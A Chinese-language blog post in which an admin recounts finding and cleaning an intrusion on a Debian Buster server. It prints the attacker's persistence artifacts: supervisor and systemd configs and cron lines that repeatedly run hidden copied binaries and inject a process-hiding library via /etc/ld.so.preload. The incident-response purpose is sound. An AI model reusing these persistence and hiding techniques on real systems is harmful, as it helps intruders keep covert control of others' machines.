|
|
---
|
|
|
title: "[筆記] Debian Buster 伺服器被入侵了!/ Debian Buster Server Been Hacked"
|
|
|
date: 2020-07-10T09:48:24+08:00
|
|
|
categories: ['筆記']
|
|
|
image: https://h.cowbay.org/images/post-default-14.jpg
|
|
|
tags: ["debian"]
|
|
|
author: "Eric Chang"
|
|
|
---
|
|
|
|
|
|
上禮拜某天在開會的時候,LINE不斷傳來訊息
|
|
|
|
|
|
不過因為我向來開會都很認真(驕傲,所以都沒看,接著就變成來電了
|
|
|
|
|
|
看來大概有啥事發生
|
|
|
|
|
|
不過畢竟不是正職的工作,就先放著吧
|
|
|
|
|
|
後來變成連學長都直接打來告訴我,某間公司的伺服器出事了,客戶找不到我
|
|
|
|
|
|
叫我趕快連進去看
|
|
|
|
|
|
是說,啊我又沒跟人家簽維護,趕什麼趕...
|
|
|
|
|
|
總之,開完會後就了解一下狀況
|
|
|
|
|
|
<!--more-->
|
|
|
|
|
|
了解狀況後(user 也只說不能連線..WTF),還是直接連進去看伺服器啥問題好了
|
|
|
|
|
|
連線的過程就發現,主機回應有點慢
|
|
|
|
|
|
不過還是可以連上,檢查一下ps / netstat 等等訊息,感覺就是有哪裡怪怪的
|
|
|
|
|
|
進去etc 看一下,一下 ls -lart 就發現不對,畫面整個跑掉
|
|
|
|
|
|
感覺就多了很多檔案
|
|
|
|
|
|
所以先裝個file manager 來看(這樣才能避免ls 被駭客調包的情況)
|
|
|
|
|
|
總之就發現了一些不正常的檔案
|
|
|
|
|
|
/etc/.sh 等等族繁不及備載
|
|
|
|
|
|
於是先去FW 把這台機器對外開放的port 先關掉
|
|
|
|
|
|
然後開始紀錄邊清
|
|
|
|
|
|
底下是一些記錄下來的log 很亂,因為是邊清邊紀錄的關係
|
|
|
|
|
|
這是在某個特定日期時間被產生出來的檔案
|
|
|
|
|
|
```bash
|
|
|
/etc/allow.bak
|
|
|
/etc/deny.bak
|
|
|
/etc/fstab
|
|
|
/etc/sysctl.conf
|
|
|
/etc/gshadow
|
|
|
/etc/fstab.bak
|
|
|
/etc/subuid
|
|
|
/etc/subgid
|
|
|
/etc/.supervisor
|
|
|
/sbin/https
|
|
|
/swapfile
|
|
|
/var/mail/root
|
|
|
/var/lib/rkhunter/tmp/group
|
|
|
/var/lib/rkhunter/tmp/passwd
|
|
|
/var/lib/dpkg/info/python-meld3.list
|
|
|
/var/backups/dpkg.status.1.gz
|
|
|
/var/backups/shadow.bak
|
|
|
/var/backups/group.bak
|
|
|
/var/backups/dpkg.status.6.gz
|
|
|
/var/backups/dpkg.status.3.gz
|
|
|
/var/backups/dpkg.status.5.gz
|
|
|
/var/backups/apt.extended_states.0
|
|
|
/var/backups/dpkg.status.2.gz
|
|
|
/var/backups/passwd.bak
|
|
|
/var/backups/gshadow.bak
|
|
|
/var/backups/dpkg.status.0
|
|
|
/var/backups/dpkg.status.4.gz
|
|
|
/var/log/wtmp.1
|
|
|
/var/log/supervisor
|
|
|
/var/log/dpkg.log.1
|
|
|
/var/log/secure
|
|
|
/var/log/apt/term.log.1.gz
|
|
|
/var/log/apt/history.log.1.gz
|
|
|
/usr/lib/systemd
|
|
|
/usr/lib/mysql/mysql
|
|
|
```
|
|
|
|
|
|
/etc/.supervisor/conf.d/sh.conf
|
|
|
|
|
|
```bash
|
|
|
[program:.sh]
|
|
|
directory=/etc/
|
|
|
command=/bin/bash -c 'cp -f -r -- /etc/spts /bin/.sh 2>/dev/null && /bin/.sh -c >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
|
|
|
autostart=true
|
|
|
autorestart=true
|
|
|
startretries=999999999
|
|
|
redirect_stderr=true
|
|
|
pidfile=/etc/psdewo.pid
|
|
|
stdout_logfile=/etc/usercenter_stdout
|
|
|
```
|
|
|
|
|
|
php.sh 這個忘了是在crontab 還是/etc/profile.d/底下看到的
|
|
|
```
|
|
|
#!/bin/bash
|
|
|
cp -f -r -- /bin/shh /bin/.sh 2>/dev/null
|
|
|
/bin/.sh -c >/dev/null 2>&1
|
|
|
rm -rf -- .sh 2>/dev/null
|
|
|
```
|
|
|
supervisor.sh
|
|
|
```
|
|
|
#!/bin/bash
|
|
|
supervisord -c /etc/.supervisor/supervisord.conf >/dev/null 2>&1
|
|
|
supervisorctl reload >/dev/null 2>&1
|
|
|
```
|
|
|
|
|
|
某個 service 檔案
|
|
|
|
|
|
```
|
|
|
[Unit]
|
|
|
Description=.sh
|
|
|
|
|
|
Wants=network.target
|
|
|
After=syslog.target network-online.target
|
|
|
|
|
|
[Service]
|
|
|
Type=forking
|
|
|
ExecStart=/bin/bash -c 'cp -f -r -- /bin/.funzip /bin/.sh 2>/dev/null && /bin/.sh -c >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
|
|
|
Restart=always
|
|
|
KillMode=process
|
|
|
|
|
|
[Install]
|
|
|
WantedBy=multi-user.target
|
|
|
```
|
|
|
|
|
|
syslog 部份內容
|
|
|
```
|
|
|
Jul 7 06:20:01 pve CRON[12502]: (root) CMD (/sbin/httpss)
|
|
|
Jul 7 06:20:01 pve CRON[12499]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
|
|
|
Jul 7 06:21:01 pve CRON[14096]: (root) CMD (/usr/lib/mysql/mysql)
|
|
|
Jul 7 06:21:01 pve CRON[14095]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
|
|
|
Jul 7 06:21:01 pve CRON[14094]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
|
|
|
Jul 7 06:22:01 pve CRON[15995]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
|
|
|
Jul 7 06:22:01 pve CRON[15994]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
|
|
|
Jul 7 06:22:01 pve CRON[15996]: (root) CMD (/usr/lib/mysql/mysql)
|
|
|
Jul 7 06:23:01 pve CRON[17708]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
|
|
|
Jul 7 06:23:01 pve CRON[17709]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
|
|
|
Jul 7 06:23:01 pve CRON[17710]: (root) CMD (/usr/lib/mysql/mysql)
|
|
|
Jul 7 06:24:01 pve CRON[19353]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
|
|
|
Jul 7 06:24:01 pve CRON[19351]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
|
|
|
Jul 7 06:24:01 pve CRON[19352]: (root) CMD (/usr/lib/mysql/mysql)
|
|
|
Jul 7 06:25:01 pve CRON[21289]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
|
|
|
Jul 7 06:25:01 pve CRON[21290]: (root) CMD (/usr/lib/mysql/mysql)
|
|
|
Jul 7 06:25:01 pve CRON[21288]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ))
|
|
|
Jul 7 06:25:01 pve CRON[21291]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
|
|
|
```
|
|
|
|
|
|
比較特別的是,他會去修改 /etc/fstab 載入一個 swapfile
|
|
|
|
|
|
WTF!? 沒事載入自己的 fstab 做啥??
|
|
|
|
|
|
然後還會在系統建立user 可以看一下 /etc/passwd , /etc/group , /etc/gshadow 這些檔案檢查
|
|
|
|
|
|
手邊最好有另一臺乾淨的同樣作業系統的機器
|
|
|
|
|
|
因為有很多系統指令已經被替換掉(netstat/ss/lsof 等等)
|
|
|
|
|
|
需要從乾淨的系統弄過來,或者是重新從apt 安裝回來
|
|
|
|
|
|
|